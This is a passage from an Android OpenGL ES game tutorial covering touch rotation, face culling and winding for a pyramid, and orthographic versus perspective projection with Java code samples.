                    _renderer.setXAngle(_renderer.getXAngle() + ydiff);
                    _renderer.setYAngle(_renderer.getYAngle() + xdiff);
                }
            });
            _x = event.getX();
            _y = event.getY();
        }
        return true;
    }

    On line 3 and 4 we have two variables for our x and y values.
    We set them on the ACTION_DOWN event and while we move, we calculate the difference between the old values and the current values given by the MotionEvent. Calculating the difference and adding them to the already applied angle of our object. Don’t be disturbed by the ydiff added to the x-angle and vice-versa (line 18-19). As you can imagine, if we want to spin the object while we move on the x-axis, we have to rotate it around the y-axis. Same thing on y-axis and up and down movement.
    If we move our finger to the left or up, the value of xdiff/ydiff will be negative and the rotation will be backwards. So we can easily rotate on 2 axis.

    Now to the very interesting part: the pyramid.
    As we quote above, the winding requires some settings. Some might be default settings, but we define them anyway to be sure.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    @Override
    public void onSurfaceCreated(GL10 gl, EGLConfig config) {
        // preparation
        // enable the differentiation of which side may be visible 
        gl.glEnable(GL10.GL_CULL_FACE);
        // which is the front? the one which is drawn counter clockwise
        gl.glFrontFace(GL10.GL_CCW);
        // which one should NOT be drawn
        gl.glCullFace(GL10.GL_BACK);
    
        gl.glEnableClientState(GL10.GL_VERTEX_ARRAY);
        gl.glEnableClientState(GL10.GL_COLOR_ARRAY);
    
        initTriangle();
    }

    On line 5 we enable the culling face so we always the just one side. On line 7 we define which order defines the front. It is set to GL_CCW which means counter clockwise. On line 9 we finally define which side should be visible as the culling face. We set it to GL10.GL_BACK to just show the front. It might be confusing, but check what happens if you use GL_FRONT_AND_BACK… you will see nothing.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    @Override
    public void onDrawFrame(GL10 gl) {
        // define the color we want to be displayed as the "clipping wall"
        gl.glClearColor(0f, 0f, 0f, 1.0f);
    
        // reset the matrix - good to fix the rotation to a static angle
        gl.glLoadIdentity();
    
        // clear the color buffer to show the ClearColor we called above...
        gl.glClear(GL10.GL_COLOR_BUFFER_BIT);
    
        // set rotation
        gl.glRotatef(_xAngle, 1f, 0f, 0f);
        gl.glRotatef(_yAngle, 0f, 1f, 0f);
    
        //gl.glColor4f(0.5f, 0f, 0f, 0.5f);
        gl.glVertexPointer(3, GL10.GL_FLOAT, 0, _vertexBuffer);
        gl.glColorPointer(4, GL10.GL_FLOAT, 0, _colorBuffer);
        gl.glDrawElements(GL10.GL_TRIANGLES, _nrOfVertices, GL10.GL_UNSIGNED_SHORT, _indexBuffer);
    }

    On line 4 you see that our background color will be black since we remove the dynamic color mentioned above. On line 13 and 14 you see the rotation for each angle. The rest is the same you know from the parts before.

    The last thing you have to change are the arrays for color, coordinates and indices in the method initTriangle(). Our pyramid should look like that:
    pyramid

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    private void initTriangle() {
        float[] coords = {
                -0.5f, -0.5f, 0.5f, // 0
                0.5f, -0.5f, 0.5f, // 1
                0f, -0.5f, -0.5f, // 2
                0f, 0.5f, 0f, // 3
        };
        _nrOfVertices = coords.length;
    
        float[] colors = {
                1f, 0f, 0f, 1f, // point 0 red
                0f, 1f, 0f, 1f, // point 1 green
                0f, 0f, 1f, 1f, // point 2 blue
                1f, 1f, 1f, 1f, // point 3 white
        };
    
        short[] indices = new short[] {
                0, 1, 3, // rwg
                0, 2, 1, // rbg
                0, 3, 2, // rbw
                1, 2, 3, // bwg
        };
    
        //code snipped
    }

    As you see in the image, our pyramid has 4 corners. Each corner has his own coordinates so we have 4 vertices to define. Done on line 2-7.
    Each vertex has his own color, defines on line 10-15.
    The main part is done with the array of our indices which define the triangle we want to have. Remember the winding, which means the triangle 0, 1, 3 doesn’t result in the triangle 0, 3, 1.
    Each index points the the vertex defined in the coords array. Just check the comments to see how the references work.

    Compile and play with it, check what happens if you change the order of the indices or if your are able to see your pyramid if you change GL_CCW to GL_CW.

    Source as Eclipse project: Vortex Part V

    3d-part-five-pyramid3d-part-five-pyramid13d-part-five-pyramid2

    Android 3D game tutorial – Part VI

    The sixth part of this series will show you how you create the correct perspective because 3D is nothing without the correct perspective.

    Before we start we should discuss the two possible “views” OpenGL offers: orthographic and perspective.

    Orthographic (non vanish point projection)
    The orthographic view is a view that makes it impossible to see if a object is right in front of us or far away. Why? Because it doesn’t shrink in the distance. So if you will draw an object with the a specific size near the viewport and another object with the same size far behind the first one but a bit to one side (to be sure that the first object doesn’t stand in the view), you won’t be able to say which element is the first one. Because both will have the same size independent of their distance. They simply don’t shrink with the distance.

    Perspective (vanish point projection)
    The perspective view is the view we know from our eyes. An example: A tall guy in front of you is, of course, tall. If this guy is 100 meter away, he is not as tall as your thumb. He seems to shrink in the distance but we know of course, he stays tall. That effect is called perspective. For our example with the two objects, the second one will be much smaller so we can say in an instance, that this is far away and the other one is right in front of us.

    Because my example might confuse you, I recommend again a blog post of iPhone development: OpenGL ES From the Ground Up, Part 3: Viewports in Perspective which uses railroad tracks as an example.

    The first view we want to create is the one using the orthographic. The view setup is something we usually do just once or, in case we change the rotation, we do it every time the surface is created. Thats the reason why we should change a bit. So some code we have in our onDrawFrame() method will be moved to the onSurfaceCreated() method. There it should only be executed if we start the application or change the rotation.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    @Override
    public void onSurfaceCreated(GL10 gl, EGLConfig config) {
        // preparation
        // define the color we want to be displayed as the "clipping wall"
        gl.glClearColor(0f, 0f, 0f, 1.0f);
    
        // enable the differentiation of which side may be visible 
        gl.glEnable(GL10.GL_CULL_FACE);
        // which is the front? the one which is drawn counter clockwise
        gl.glFrontFace(GL10.GL_CCW);
        // which one should NOT be drawn
        gl.glCullFace(GL10.GL_BACK);
    
        gl.glEnableClientState(GL10.GL_VERTEX_ARRAY);
        gl.glEnableClientState(GL10.GL_COLOR_ARRAY);
    
        initTriangle();
    }
    
    // code snipped
    
    @Override
    public void onDrawFrame(GL10 gl) {
        gl.glLoadIdentity();
    
        // clear the color buffer and the depth buffer to show the ClearColor
        // we called above...
        gl.glClear(GL10.GL_COLOR_BUFFER_BIT);
    
        // set rotation
        gl.glRotatef(_xAngle, 1f, 0f, 0f);
        gl.glRotatef(_yAngle, 0f, 1f, 0f);
    
        //gl.glColor4f(0.5f, 0f, 0f, 0.5f);
        gl.glVertexPointer(3, GL10.GL_FLOAT, 0, _vertexBuffer);
        gl.glColorPointer(4, GL10.GL_FLOAT, 0, _colorBuffer);
        gl.glDrawElements(GL10.GL_TRIANGLES, _nrOfVertices, GL10.GL_UNSIGNED_SHORT, _indexBuffer);
    }

    You see that we didn’t move the glClear() and the glLoadIdentity() method from onDrawFrame() to onSurfaceCreated(). The reason is easy: they should be called on every frame.

    Because we need the screen size to calculate the ratio of our screen we introduce two object variables called _width and _height. An we need to set them in the method onSurfaceChanged() which will be called on every rotation change.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    private float _width = 320f;
    private float _height = 480f;
    
    @Override
    public void onSurfaceChanged(GL10 gl, int w, int h) {
        _width = w;
        _height = h;
        gl.glViewport(0, 0, w, h);
    }

    Now we have everything we need to start with the viewport. We need to change the onSurfaceCreated() method.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    @Override
    public void onSurfaceCreated(GL10 gl, EGLConfig config) {
        gl.glMatrixMode(GL10.GL_PROJECTION);
        float ratio = _width / _height;
        // orthographic:
        gl.glOrthof(-1, 1, -1 / ratio, 1 / ratio, 0.01f, 100.0f);
        gl.glViewport(0, 0, (int) _width, (int) _height);
        gl.glMatrixMode(GL10.GL_MODELVIEW);
        gl.glEnable(GL10.GL_DEPTH_TEST);
    
        // define the color we want to be displayed as the "clipping wall"
        gl.glClearColor(0f, 0f, 0f, 1.0f);
    
        // enable the differentiation of which side may be visible 
        gl.glEnable(GL10.GL_CULL_FACE);
        // which is the front? the one which is drawn counter clockwise
        gl.glFrontFace(GL10.GL_CCW);
        // which one should NOT be drawn
        gl.glCullFace(GL10.GL_BACK);
    
        gl.glEnableClientState(GL10.GL_VERTEX_ARRAY);
        gl.glEnableClientState(GL10.GL_COLOR_ARRAY);
    
        initTriangle();
    }

    Wow this is a lot of new code! Don’t worry we will go step by step.
    On line 3 we see the glMatrixMode() with GL10.GL_PROJECTION as parameter and on line 8 we see the method again but with the GL10.GL_MODELVIEW as parameter. The reasons are in the lines between line 3 and line 8. In the lines 4 till 7 we set up our viewport, so we set up our projection. On line 9 till 17 we set up our model environment. In this context both calls with different parameter should be understandable. Tip: As always simply try to get rid of some code lines and see the result. Thats the best way to understand what line of code is responsible for what.
    On line 4 we calculate our screen ratio we need for the next line. On this line (line 6) we set our viewport to make a orthographic view. The parameter are for the border in the order of left, right, bottom, top, zNear, zFar.
    On line 7 we set the viewport. We know this method because we already used it in onSurfaceChanged().
    On line 8 we switch the MatrixMode to GL10.GL_MODELVIEW which set OpenGL to accept some calls which change the way models should be drawn.
    On line 9 we call glEnable() with the parameter GL10.GL_DEPTH_TEST. That enabled that OpenGL ES check which z-order the objects have. If we don’t enable that, we will see the last drawn object always in front of all other objects. That means even if this object should be hidden by another much nearer and bigger object, we will see the first one in front of it.
    The other lines of code we already know from the previous parts of this series.

    The perspective view is nearly the same but instead of calling glOrthof() we will call glFrustumf().
    The parameters for glFrustumf() will be a bit different from the parameters we used for glOrthof(). The reason therefor is, that we didn’t shrink the objects but we the defined frustum will be funnel-formed. Look at these pictures to see the difference between glOrthof() and glFrustumf():

    Orthographic:
    tutorial_orthographic

    Perspective:
    tutorial_perspective

    Back to the code:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    @Override
    public void onSurfaceCreated(GL10 gl, EGLConfig config) {
        Log.i(LOG_TAG, "onSurfaceCreated()");
        gl.glMatrixMode(GL10.GL_PROJECTION);
        float size = .01f * (float) Math.tan(Math.toRadians(45.0) / 2); 
        float ratio = _width / _height;
        // perspective:
        gl.glFrustumf(-size, size, -size / ratio, size / ratio, 0.01f, 100.0f);
        // orthographic:
        //gl.glOrthof(-1, 1, -1 / ratio, 1 / ratio, 0.01f, 100.0f);
        gl.glViewport(0, 0, (int) _width, (int) _height);
        gl.glMatrixMode(GL10.GL_MODELVIEW);
        gl.glEnable(GL10.GL_DEPTH_TEST);
    
        // define the color we want to be displayed as the "clipping wall"
        gl.glClearColor(0f, 0f, 0f, 1.0f);
    
        // enable the differentiation of which side may be visible 
        gl.glEnable(GL10.GL_CULL_FACE);
        // which is the front? the one which is drawn counter clockwise
        gl.glFrontFace(GL10.GL_CCW);
        // which one should NOT be drawn
        gl.glCullFace(GL10.GL_BACK);
    
        gl.glEnableClientState(GL10.GL_VERTEX_ARRAY);
        gl.glEnableClientState(GL10.GL_COLOR_ARRAY);
    
        initTriangle();
    }

    Information: The calculation of our variable size (on line 5) is something
    we should take on faith, we will see why it works when we talk about matrices.
    On line 8 we now have glFrustumf() instead of glOrthof(). Thats all we have to change between orthographic view and perspective view.

    But hey, with just one object we won’t see any changes. Ok lets change the method onDrawFrame().

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    @Override
    public void onDrawFrame(GL10 gl) {
        // clear the color buffer and the depth buffer
        gl.glClear(GL10.GL_COLOR_BUFFER_BIT | GL10.GL_DEPTH_BUFFER_BIT);
    
        gl.glVertexPointer(3, GL10.GL_FLOAT, 0, _vertexBuffer);
        gl.glColorPointer(4, GL10.GL_FLOAT, 0, _colorBuffer);
    
        for (int i = 1; i <= 10; i++) {
            gl.glLoadIdentity();
            gl.glTranslatef(0.0f, -1f, -1.0f + -1.5f * i);
            // set rotation
            gl.glRotatef(_xAngle, 1f, 0f, 0f);
            gl.glRotatef(_yAngle, 0f, 1f, 0f);
            gl.glDrawElements(GL10.GL_TRIANGLES, _nrOfVertices, GL10.GL_UNSIGNED_SHORT, _indexBuffer);
        }
    }

    Ok, what have changed?
    On line 3 we have now modified parameter to be sure that the depth buffer will be cleared to.
    On line 9 we started a loop to create 10 objects.
    On line 10 we see the missing glLoadIdentity(). It is now located here to reset the matrix. Thats have to be done because we will use glRotatef() and glTranslatef() to modify our objects. But to be sure that we only modify the object we are currently looping over, we call glLoadIdentity(). So we “reset” every glTranslatef() and glRotatef() call we made for the previous object.
    On line 11 we see the new glTranslatef() method which will move our object to another location. In our case we don’t change the location on the x axis, but we change -1.0f on the y axis which means it will be near the bottom of our screen. The last calculation you see is simply to modify the position on the z axis, which means the depth, of your object. The first object will be on -2.5f, the second on -4.0f and so on. So we should see 10 objects lined up to the middle of our screen.

    If you compile that using the glFrustumf() call, you should see that:

    3d-part-six-line-frustum

    If you switch the lines glFrustumf() and glOrthof() you should see that:

    3d-part-six-line-ortho

    Hey wait, why do we not see more than one object? Because in orthographic we don’t have any kind of perspective. So every single object has the same size and doesn’t shrink so it won’t follow any vanish point and without that, each object is exactly behind the first one.

    won’t follow any vanish point and without that, each object is exactly behind the first one.

    Full source: Vortex Part VI